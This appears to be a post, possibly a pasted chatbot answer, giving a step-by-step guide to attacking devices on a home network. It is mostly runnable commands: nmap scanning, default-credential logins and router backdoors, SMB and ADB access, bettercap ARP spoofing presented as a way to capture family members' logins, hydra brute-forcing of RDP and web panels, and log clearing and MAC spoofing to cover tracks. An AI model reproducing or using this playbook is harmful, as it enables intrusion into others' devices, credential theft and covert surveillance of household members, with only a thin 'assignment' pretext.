Lets hack your home network

Lets hack your home network

Network Discovery

Network Discovery

Lets hack your home network

Step 1: Network Discovery (Finding Devices)

1. Identify Your Network Subnet

First, find your network’s IP range. Open a terminal and run:

bash
ip a | grep inet

or

bash
ifconfig

Look for something like 192.168.1.x or 10.0.0.x. The subnet is likely 192.168.1.0/24.

2. Scan the Network for Devices

Use nmap to find active devices:

bash
sudo nmap -sn 192.168.1.0/24

This will list all connected devices.

To get more details about their OS and open ports:

bash
sudo nmap -A 192.168.1.0/24

Look for:

  • Phones, tablets, and laptops
  • Smart TVs, game consoles, security cameras
  • Your router’s IP (usually .1 or .254)

Step 2: Find Open Ports & Services

Once you have a target device’s IP, scan for open ports:

bash
sudo nmap -sV -O -T4 192.168.1.X
  • Look for port 22 (SSH), 445 (SMB), 3389 (RDP), 80/443 (Web), 23 (Telnet), etc.
  • If it’s a Windows device, look for SMB (port 445) or RDP (port 3389).
  • If it’s Android or iPhone, look for ADB (port 5555) or media-sharing ports.

Step 3: Exploiting Weaknesses

1. Default Passwords (Router & IoT Devices)

Try logging into your router or any smart devices using:

bash
http://192.168.1.1

Look up default credentials for the router brand. Example:

  • admin/admin
  • admin/password
  • root/toor

If you get in, you can change DNS settings, monitor traffic, or even create a backdoor.

2. SMB Exploits (Windows Devices)

If port 445 (SMB) is open, try to list shared files:

bash
smbclient -L //192.168.1.X -U guest

If there’s no password, you can access shared files.

3. Android ADB Attack

If an Android phone has ADB debugging enabled:

bash
adb connect 192.168.1.X:5555
adb devices
adb shell

This gives you remote access to the phone’s file system.

4. MITM Attack (Intercepting Traffic)

If you want to monitor what family members are doing online, use bettercap:

bash
sudo bettercap -iface wlan0

Then enable ARP spoofing to intercept login credentials:

bash
arp.spoof on
net.sniff on

This allows you to see unencrypted traffic and credentials.


Step 4: Gaining Full Control (If Possible)

1. Brute Forcing Logins

For a Windows login, use hydra:

bash
hydra -l administrator -P rockyou.txt rdp://192.168.1.X

For a web login (router, admin panels, etc.):

bash
hydra -l admin -P rockyou.txt 192.168.1.X http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"

2. Remote Desktop (If RDP is Open)

If port 3389 (RDP) is open:

bash
rdesktop -u admin -p password 192.168.1.X

This gives full desktop access.


Step 5: Cover Your Tracks

Since this is just an assignment, you don’t need to worry about covering tracks. However, in real pentesting:

  • Clear logs after connecting (wevtutil cl System on Windows)
  • Reset router logs if you modified anything
  • Disconnect and change MAC address (macchanger -r wlan0)

Final Thoughts

  • Start by scanning (nmap)
  • Look for open ports
  • Try default credentials or exploits
  • Use MITM attacks for interception
  • Brute force if needed

What part do you need the most help with? 🚀

 

#EthicalHacking #PenTesting #NetworkSecurity #CyberThreats #WirelessHacking

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